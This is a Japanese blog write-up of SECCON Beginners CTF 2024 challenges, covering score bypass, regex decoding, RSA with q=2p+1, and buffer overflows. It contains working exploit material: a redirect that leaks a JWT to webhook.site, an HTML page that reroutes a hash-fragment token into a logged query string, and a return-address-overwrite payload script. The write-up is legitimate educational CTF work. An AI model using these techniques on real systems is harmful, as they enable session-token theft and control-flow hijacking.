1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Writeup: SECCON Beginners CTF 2024

Last updated at Posted at 2024-06-16

概要

Writeup

getRank

  • 数字当てゲームはクライアントサイドで動いてるだけで特に意味なし。任意のスコアをランキングサーバーにinputで送りつけることができる
  • function ranking(score: number)
    • 順位判定が1位になるとフラグが返ってくる
    • 自分以外のプレイヤーのスコアが(疑似的に) const RANKING = [10 ** 255, 1000, 100, 10, 1, 0]; で定義されている
    • 10 ** 255 (10の255乗) 以上の点数を、この関数に渡す必要がある
  • function chall(input: string)
    • rankingへ入る前にinputをstringからnumberへ変換
    • 以下2点がポイント
      • ① 300桁を超えた入力は受け付けられない
      • 10 ** 255 より大きいスコアは、10のマイナス100乗がかかる
    • challを抜けた後にscoreが 10 ** 255 より大きくなるには 10 ** (255+100) を送る必要があるが、300桁を超えてしまう
  • 300桁を超えずに 10 ** (255+100) を表現する方法を探す
    • parseInt() をバイパスできる挙動がないかなどを探してみたところ ECMAScript > tips > parseIntのおかしな挙動 を発見
    • 16進数で表現すれば10進数より桁数が減るので、 0x1000...(input.lengthが300になるように0を並べる)...00 を入れて送信

clamre

  • 問題文のヒントから、flag.ldb がもろflagっぽい
  • そのままChatGPTに入れて答えさせる
Explain this regex:

/^((\x63\x74\x66)(4)(\x62)({B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)})$/

wooorker

  • login?next={webhookのurl}/report に入れると ?token= パラメータにjwtが乗ってくる
  • そのパラメータをそのまま手元のブラウザで / に送る
  • webhookは https://webhook.site/ を使用

woorker2

$ diff -r ./woorker/ ./woorker2/ でdiffを取る

  • woorkerと(本質的に)変わったのは以下の差分のみ
diff '--color=auto' -r ./woorker/main.js ./woorker2/main.js
22c22
<             window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
---
>             window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
24c24
<             window.location.href = `/?token=${token}`;
---
>             window.location.href = `/#token=${token}`;
  • Hashbangになった結果、QueryStringに乗ってこなくなってしまっている
  • 手元でcurlで検証してみると、そもそも#以降はサーバー側のアクセスログに乗らないものっぽい

  • ブラウザ側で ? に書き換えてあげると woorker と同じくアクセスログが取れるようになる。以下のようなページにアクセスさせる
givemetoken.html
<script>
        // location.hash からトークンを取得
const hash = window.location.hash;
const token = hash.startsWith("#token=") ? hash.substring(7) : null;
if (token) {
  // 新しいURLを作成
  const newUrl = `${window.location.origin}${window.location.pathname}?token=${token}`;

  // リダイレクト
  window.location.replace(newUrl);
}
</script>

Safe Prime

n=pqとq=2p+1からn=2p^2+pでpが求まる

solve.py
from Crypto.Util.number import getPrime, isPrime, long_to_bytes, bytes_to_long

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537

from sympy import symbols, Eq, solve

# p = symbols('p')
# equation = Eq(n, 2*p**2 + p)
# solutions = solve(equation, p)
# print(f"{solutions = }")

p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393
q = 2 * p + 1
print(f"{p = }")
print(f"{q = }")
print(f"{n = }")
print(f"{p*q = }")


phi = (p-1)*(q-1)
print(f"{phi = }")

d = pow(e, -1, phi)
print(f"{d = }")

# m = c^e-1

# ϕ(N)=(p−1)(q−1)

m = pow(c, d, n)
plaintext = long_to_bytes(m)
print(f"{plaintext = }")

simpleoverflow

$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaߣ�
ctf4b{flag}

simpleoverwrite

$ objdump -d ./chall | grep win
0000000000401186 <win>:
payload.py
import struct

# win関数のアドレス
win_address = 0x401186

# バッファオーバーフローを引き起こす入力
# 18バイトのパディング
payload = b'A' * 18
# win関数のアドレスをリトルエンディアン形式で追加
payload += struct.pack('<Q', win_address)

# ファイルに書き出す
with open('payload', 'wb') as f:
    f.write(payload)
$ cat payload - | nc simpleoverwrite.beginners.seccon.games 9001
input:Hello, AAAAAAAAAAAAAAAAAA�@
return to: 0x401186
ctf4b{flag}
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?